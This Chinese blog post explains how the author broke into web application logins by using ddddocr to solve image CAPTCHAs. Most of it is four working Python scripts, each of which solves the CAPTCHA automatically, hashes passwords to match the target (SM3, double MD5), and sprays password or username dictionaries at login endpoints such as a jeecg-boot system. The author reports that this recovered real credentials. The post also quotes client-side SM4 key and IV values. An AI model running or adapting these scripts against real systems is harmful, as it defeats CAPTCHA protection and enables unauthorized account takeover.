0%

利用ddddocr实现验证码识别登录爆破

ddddocr(https://github.com/sml2h3/ddddocr) 对于常规字母+数字的验证码 识别率还可以,前段时间在部分项目上也用相关方法爆出来了账号密码。有个恶心的目标管理员账号并非 admin 而是 addmin 😠 太恶心了,这里简单记录下相关脚本【已脱敏】。

整体思路就是先看账号密码的加解密方式,如果没有封账号可以大批量跑密码,如果有尝试次数,超过时间会锁定账号,那么就仅可跑3 4次密码,总的来说还是靠运气。

之前有个sm4的没解出来加密,还是太菜了 😭 只在js源码中找到了js加密,已知iv和ky还是解不出来 QWQ

1
2
3
4
5
6
7
8
9
10
11
12
var pwd = $.trim($("#loginpassword").val());
var sm4 = new SM4Util("lpUXFiIz0ITm0,cK");
sm4.iv="d1F9*RXrPFhi4NKC";
if(sm4.iv == null || sm4.iv.length != 16){
alert("请刷新页面后重试!");
location.reload();
} else {
var sm4String = sm4.encryptData_CBC(pwd);
var encoderpassword = self.btoa(sm4String);
$("#loginpassword").val(encoderpassword);
$("#loginForm").submit();
}

part 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import time
import ddddocr
import requests
import sys
from gmssl import sm3, func


def get_code(ocr, baseurl, session):
"""识别出登录接口中图像验证码上的字符"""
# 获取当前时间戳(毫秒)
current_timestamp = int(time.time() * 1000)
url = f"{baseurl}/crm/imageServlet?{current_timestamp}" # 动态构建 URL
print(f"请求验证码的URL: {url}")
try:
# 使用 session 发送 GET 请求
response = session.get(url)

# 检查响应状态码
if response.status_code != 200:
print(f"请求失败,状态码: {response.status_code}")
return None

# 打印响应内容以调试
# print("响应内容(部分):", response.content[:100]) # 打印前100个字节,避免输出过长

# 使用 ddddocr 识别验证码
code = ocr.classification(response.content) # 直接传递图像的二进制数据进行识别
print(f"识别出的验证码: {code}")
return code

except Exception as e:
print(f"发生异常: {e}")
return None


def sm3_hash(passwd):
# 将输入的字符串转换为字节形式
password_bytes = passwd.encode('utf-8')
# 使用SM3进行哈希计算,sm3.sm3_hash()需要的是字节列表
password_hash = sm3.sm3_hash(func.bytes_to_list(password_bytes))
return password_hash


def login(ocr, loginUrl, username, password, session):
captcha = get_code(ocr, "http://<IP>:60522", session)

if not captcha:
print("验证码识别失败!")
return None

# 使用 SM3 加密密码,并将其与验证码一起发送
password_hash = sm3_hash(password)

# 使用字典形式的 data 参数
param = {
"username": username,
"password": password_hash,
"vercode": captcha
}

headers = {
"Host": "<IP>:60522",
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin": "http://<IP>:60522",
"Referer": "http://<IP>:60522/crm/login",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
# 不要手动设置 Cookie,由 session 管理
"Connection": "close",
}

try:
# 使用 session 发送 POST 请求
response = session.post(url=loginUrl, data=param, headers=headers, verify=False, allow_redirects=False)
return response
except Exception as e:
print(f"登录请求失败: {e}")
return None


if __name__ == "__main__":
# 示例用法
loginUrl = "http://<IP>:60522/crm/login"
ocr = ddddocr.DdddOcr()
print("\n================================================================================\n")

# 创建一个会话对象
session = requests.Session()

# 读取密码字典文件
with open("passwd.txt") as f:
for num, value in enumerate(f):
sys.stdout.write(f"\r正在执行第 {num + 1} 条")
sys.stdout.flush()
value = value.strip() # 去除换行符
response = login(ocr, loginUrl, 'addmin', value, session)

# 如果响应内容为空,跳过
if not response:
continue

# 如果响应内容包含 "验证码错误",则重新尝试
while "验证码错误" in response.content.decode('utf-8'):
print(f"验证码错误,重新尝试: {value}")
response = login(ocr, loginUrl, 'addmin', value, session)
if not response:
break

# 检查响应内容长度或内容
content = response.content.decode('utf-8')
print(content)
# 根据实际响应内容调整条件
if "登录成功" in content:
print("[+] 响应内容: " + content)
print(f"[+] 账号密码: addmin:{value}")
break # 登录成功,退出循环
elif "账户或密码不正确" in content:
# 密码错误,继续尝试
pass
else:
# 其他情况,打印响应内容
print("[+] 响应内容: " + content)
print(f"[+] 账号密码: addmin:{value}")

response.close()

part 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import time
import ddddocr
import requests
import sys
import hashlib
from gmssl import sm3, func

# 禁用安全请求警告(不推荐,除非你确信目标服务器是安全的)
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def double_md5(text):
"""对输入文本进行双重 MD5 加密"""
first_md5 = hashlib.md5(text.encode('utf-8')).hexdigest()
second_md5 = hashlib.md5(first_md5.encode('utf-8')).hexdigest()
return second_md5


def get_code(ocr, baseurl, session):
"""识别登录接口中的图像验证码"""
# 获取当前时间戳(毫秒)
current_timestamp = int(time.time() * 1000)
url = f"{baseurl}/socialorg/checkImg/getCode.action?time={current_timestamp}" # 动态构建 URL
print(f"请求验证码的URL: {url}")
try:
# 使用 session 发送 GET 请求
response = session.get(url)

# 检查响应状态码
if response.status_code != 200:
print(f"请求验证码失败,状态码: {response.status_code}")
return None

# 使用 ddddocr 识别验证码
code = ocr.classification(response.content) # 直接传递图像的二进制数据进行识别
print(f"识别出的验证码: {code}")
return code

except Exception as e:
print(f"获取验证码时发生异常: {e}")
return None


def login(ocr, loginUrl, username, password, session):
"""尝试登录"""
captcha = get_code(ocr, "http://<IP>:8088", session)

if not captcha:
print("验证码识别失败!")
return None

# 使用双重 MD5 加密密码
password_hash = double_md5(password)

# 构建请求参数
param = {
"netUserId": username,
"pwd": password_hash,
"checkCode": captcha
}

headers = {
"Host": "<IP>:8088", # 确保 Host 头部与 loginUrl 一致
"Accept": "text/plain, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"Origin": "http://<IP>:8088",
"Referer": "http://<IP>:8088/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
# 不要手动设置 Cookie,由 session 管理
"Connection": "close",
}

try:
# 使用 session 发送 POST 请求
response = session.post(url=loginUrl, data=param, headers=headers, verify=False, allow_redirects=False)
return response
except Exception as e:
print(f"登录请求失败: {e}")
return None


def main():
# 登录 URL,确保包含协议前缀
loginUrl = "http://<IP>:8088/socialorg/netlogin/netlogin.action"
ocr = ddddocr.DdddOcr()
print("\n================================================================================\n")

# 创建一个会话对象
session = requests.Session()

# 初始化 OCR 实例
# ocr = ddddocr.DdddOcr()

# 读取密码字典文件
try:
with open("passwd.txt", "r", encoding="utf-8") as f:
for num, value in enumerate(f, 1):
sys.stdout.write(f"\r正在执行第 {num} 条密码尝试")
sys.stdout.flush()
password = value.strip() # 去除换行符和空白字符
if not password:
continue # 跳过空行

response = login(ocr, loginUrl, 'test', password, session)

# 如果响应为空,跳过当前密码
if not response:
continue

try:
content = response.content.decode('utf-8', errors='ignore')
except Exception as e:
print(f"\n解码响应内容时出错: {e}")
continue

# 如果响应内容包含 "noCheckCode",则重新尝试获取验证码并登录
while "noCheckCode" in content:
print(f"\n[!] 验证码错误,重新尝试: 密码={password}")
response = login(ocr, loginUrl, 'test', password, session)
if not response:
break
try:
content = response.content.decode('utf-8', errors='ignore')
except Exception as e:
print(f"\n解码响应内容时出错: {e}")
break

# 如果响应内容包含 "noUserOrPwd",则密码错误
if "noUserOrPwd" in content:
print(f"\n[-] 用户名或密码错误: test:{password}")
# 如果响应内容包含 "登录成功",则登录成功
elif "登录成功" in content or "success" in content.lower():
print(f"\n[+] 登录成功!账号密码: test:{password}")
break # 找到正确密码,退出循环
# 其他响应内容,输出详细信息
else:
print(f"\n[!] 未知响应内容: {content}")
print(f"[+] 账号密码: test:{password}")

response.close()
except FileNotFoundError:
print("密码字典文件 'passwd.txt' 未找到。请确保文件存在于脚本所在目录。")
except Exception as e:
print(f"发生异常: {e}")


if __name__ == "__main__":
main()

part 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import time
import ddddocr
import requests
import base64
import sys
proxies = {
"http": 'http://127.0.0.1:8080',
"https": 'http://127.0.0.1:8080'
}

def get_code(orc , baseurl , longTime , shortTime):
"""识别出登录接口中图像验证码上的字符"""
url = baseurl + '/sys/randomImage/' + str(longTime) + '?_t=' + str(shortTime)
res = requests.request("get", url).json()
# key = res_data['key'] # 解析响应中的key
base64_data = res['result'] # 解析验证码的base64编码数据

# 对的base64编码转换成图片
data = base64_data.split(',')[1] # 去掉编码数据中的data:image\/png;base64
# print(data)
img_data = base64.b64decode(data) # 解码
with open('./img.png', 'wb') as png: # 打开图片
png.write(img_data) # 保存图片

# 利用ddddocr识别验证码图片上的字符
with open('./img.png', 'rb') as f:
img_bytes = f.read() # 读取图片
code = ocr.classification(img_data) # 识别图片上的字符
return code

def login(orc , loginUrl , username , password):
t = time.time()
shortTime = int(t)
longTime = int(round(time.time() * 1000))
captcha = get_code(orc , "http://<IP>:9000" , longTime , shortTime)
param = "{{\"username\":\"{}\",\"password\":\"{}\",\"captcha\":\"{}\",\"checkKey\":{},\"remember_me\":true}}".format(username, password, captcha, str(longTime))
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "identity",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Cache-Control": "max-age=0",
"Content-Type": "application/json;charset=UTF-8",
"Upgrade-Insecure-Requests": '1',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Connection": "close",
}
response = requests.post(url=loginUrl, data=param, headers=headers, verify=False, proxies=proxies,
allow_redirects=False)
return response


loginUrl = "http://<IP>:9000/sys/login"
ocr = ddddocr.DdddOcr()
# resp = login(ocr, loginUrl, "admin", "*****12345")
# print(len(resp.content.decode('utf-8')))

f = open("燃料管理系统用户名.txt") # 返回一个文件对象
line = f.readline() # 调用文件的 readline()方法
for num,value in enumerate(f):
sys.stdout.write(f"\r正在执行第{num}条")
sys.stdout.flush()
value = value.replace("\n" , "")
response = login(ocr , loginUrl , value , "2007be359*********2c0d142d3a7f7")
while("验证码错误" in response.content.decode('utf-8')):
response = login(ocr, loginUrl, value, "2007be359*********2c0d142d3a7f7")
if(len(response.content.decode('utf-8'))!=91 and len(response.content.decode('utf-8')) != 89):
print("[+]响应内容"+response.content.decode('utf-8') + "\n")
print("[+]账号密码:"+value + ":" + "*****12345")
response.close()




part 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import ddddocr
import re
import requests,base64,json,sys
import time

def getcode(ocr):

t = time.time()
shortTime = int(t)
longTime = int(round(time.time() * 1000))

# imgurl = 'http://<IP>:3000/jeecg-boot/sys/randomImage/1720053789642'

url = 'http://<IP>:3000/jeecg-boot/sys/randomImage/' + str(longTime) + '?_t=' + str(shortTime)
# print(url)
res = requests.request("get", url).json()

# print(res)
base64_data = res['result']
timestamp = str(longTime)

# print(base64_data)
# print(timestamp)

# 对的base64编码转换成图片
data = base64_data.split(',')[1] # 去掉编码数据中的data:image\/png;base64
# print(data)
img_data = base64.b64decode(data) # 解码
with open('./img.png', 'wb') as png: # 打开图片
png.write(img_data) # 保存图片
# ocr = ddddocr.DdddOcr()

# 利用ddddocr识别验证码图片上的字符
with open('./img.png', 'rb') as f:
img_bytes = f.read() # 读取图片
captcha = ocr.classification(img_data) # 识别图片上的字符

# print('[+] 识别到验证码为:', captcha)
return captcha,timestamp


def login(ocr , loginUrl , username , password):

captcha,timestamp = getcode(ocr)
# print(captcha)
# print(timestamp)

param = "{{\"username\":\"{}\",\"password\":\"{}\",\"captcha\":\"{}\",\"checkKey\":{}}}".format(username, password, captcha, str(timestamp))
# print(param)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "identity",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Cache-Control": "max-age=0",
"Content-Type": "application/json;charset=UTF-8",
"Upgrade-Insecure-Requests": '1',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Connection": "close",
}
response = requests.post(url=loginUrl, data=param, headers=headers, verify=False,
allow_redirects=False)
return response


if __name__ == '__main__':

# loginurl = 'http://<IP>:3000/jeecg-boot/sys/login'
# data = {"username":"admin","password":"123456","captcha":"4c64","checkKey":1720053412912}
# req = requests.post(url=loginurl,data=data)
# if "操作失败" in req.content.decode('utf-8') or "验证码错误" in req.content.decode('utf-8'):
# print(req.content.decode('utf-8'))
# print(len(req.content.decode('utf-8')))
# # 162


ocr = ddddocr.DdddOcr()
# captcha,timestamp = getcode()
# print(captcha,timestamp)
loginurl = 'http://<IP>:3000/jeecg-boot/sys/login'
# data = {"username":"admin","password":"123456","captcha":"4c64","checkKey":1720053412912}
# param = "{{\"username\":\"{}\",\"password\":\"{}\",\"captcha\":\"{}\",\"checkKey\":{}}}".format(username, "*****12345", captcha, str(timestamp))

f = open("users.txt")
line = f.readline()
for num,uname in enumerate(f):
sys.stdout.write(f"\r正在执行第{num}条")
sys.stdout.flush()
uname = uname.replace("\n" , "")
# print(uname)
response = login(ocr , loginurl , uname , "*****12345")
# print(response.text)
while("验证码错误" in response.content.decode('utf-8')):
break
response = login(ocr, loginurl, uname, "*****12345")

# if(len(response.content.decode('utf-8'))!=162 ) and "该用户不存在,请注册" not in response.content.decode('utf-8') :
if "登录成功" in response.content.decode('utf-8'):
# print("[+]响应内容"+response.content.decode('utf-8') + "\n")
print("\n")
print("[+]账号密码:"+uname + ":" + "*****12345")

response.close()

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------